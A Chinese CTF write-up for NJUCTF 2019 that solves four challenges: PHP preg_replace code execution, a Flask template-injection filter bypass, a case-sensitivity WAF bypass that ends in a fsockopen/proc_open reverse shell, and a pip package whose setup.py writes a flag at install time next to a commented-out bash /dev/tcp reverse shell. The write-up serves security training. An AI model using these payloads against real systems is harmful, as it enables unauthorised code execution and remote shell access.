NJUCTF2019-部分wp

前言

虽然拿了一血但是是靠手速哈哈。

web-replace

既然这么出了一定是考replace.

image-20191124193302903

提示php5.6 考虑到preg_replace 在新版本已经废弃。那么就是考preg_replace了。

首页三个框框:image-20191124193404646

目测是对应preg_replace 三个参数。

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

总的来说就是: preg_replace(‘原来的文本’,‘替换的单词’,‘新单词’)

那么构造payload: sub=jesen666&pat=.*&rep=eval($_POST[a])&a=system('cat /flag');

post过去即可。。

web-flask

这题过于简单。。image-20191124193919224

进门这个点击以后看看,image-20191124193932138

修改以下url:image-20191124193949934

漏洞已经出现,这里直接放出payload。毕竟原理在网上已经有。

1
http://nctf2019.x1ct34m.com:40007/base1{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("cat /f"+"lag").re'+'ad()')}}

这里注意它过滤了flag字符,所以需要拆开flag后用+链接。。。

web-hacker_backdoor

给出代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
if(!isset($_GET['code']) || !isset($_GET['useful'])){
highlight_file(__file__);
}
$code = $_GET['code'];
$usrful = $_GET['useful'];

function waf($a){
$dangerous = get_defined_functions();
array_push($dangerous["internal"], 'eval', 'assert');
foreach ($dangerous["internal"] as $bad) {
if(strpos($a,$bad) !== FALSE){
return False;
break;
}
}
return True;
}

if(file_exists($usrful)){
if(waf($code)){
eval($code);
}
else{
die("oh,不能输入这些函数哦 :) ");
}
}

分析以下:需要get传入code和useful参数,useful参数需要是系统已经存在的文件。这里使用file:///etc/passwd

$dangerous数组,把内置函数全部取出,并加入eval和assert来阻止执行。

研究绕过

这里我们可以在网上百度得到strpos一般是用数组绕过的,但是我在做题时候发现,我没有成功,紧接着查阅php.net文档,发现strpos是大小写敏感的。

那么就简单了。构造 /?code=PhPinfO();&useful=file:///etc/passwd成功绕过。

成功执行命令

发现禁用了大多数函数,但是没有禁用fsockopen,proc_close和proc_open,那么完全可以反弹shell。

反弹代码:

1
2
3
4
$sock=fsockopen('xxxxx','xxx');//ip and port
$descriptorspec = array(0 => $sock,1 => $sock,2 => $sock);
$process=proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);

构造payload:/?code=EVAL($_GET[a]);&useful=file:///etc/passwd&a=$sock=fsockopen('xx','xxxxx');$descriptorspec = array(0 => $sock,1 => $sock,2 => $sock);$process=proc_open('/bin/sh', $descriptorspec, $pipes);proc_close($process);

这里为了观赏性,a是urldecode之后的,在利用的时候需要使用urlencode。

misc-pip install

官方给了个命令让安装pip install --user nctf-2019-installme

果断安装,安装后发现源码只有:

1
2
def get_flag():
return 'Believe it or not. Flag is already in your machine. Can you find it?'

那么只能去pypi官网,去官网查找nctf-2019-installme包,下载zip源码。在setup.py中发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from setuptools import setup, find_packages
import tempfile
from os import path, system

tmp_file = tempfile.gettempdir() + path.sep + '.f14g_is_here'
f = open(tmp_file, 'w')
f.write('TkNURntjNHJlZnVsX2FiMHU3X2V2MWxfcGlwX3A0Y2thZ2V9')
f.close()

# system('bash -i >& /dev/tcp/1.1.1.1/7777 0>&1')
# Ohhhh, that a joke. I won't do that.

setup(
name='nctf_2019_installme',
version=0.2,
description=(
'Get flagggggggggg!'
),
author='rmb122',
author_email='[email protected]',
license='GPLv3.0',
packages=find_packages(),
platforms=["all"],
keywords=['nctf', 'getflag'],
url='http://www.google.com'
)

解码base64TkNURntjNHJlZnVsX2FiMHU3X2V2MWxfcGlwX3A0Y2thZ2V9即可得到flag.

结束

还是很难的(对于我这种萌新来说),最可惜的结束phar那道题,有反序列化,但是没有找到对应的危险类,只有一个孤零零的curl。。。。静等赛后官方wp。唉唉唉。。。

但是。。。我很开心 哈哈哈。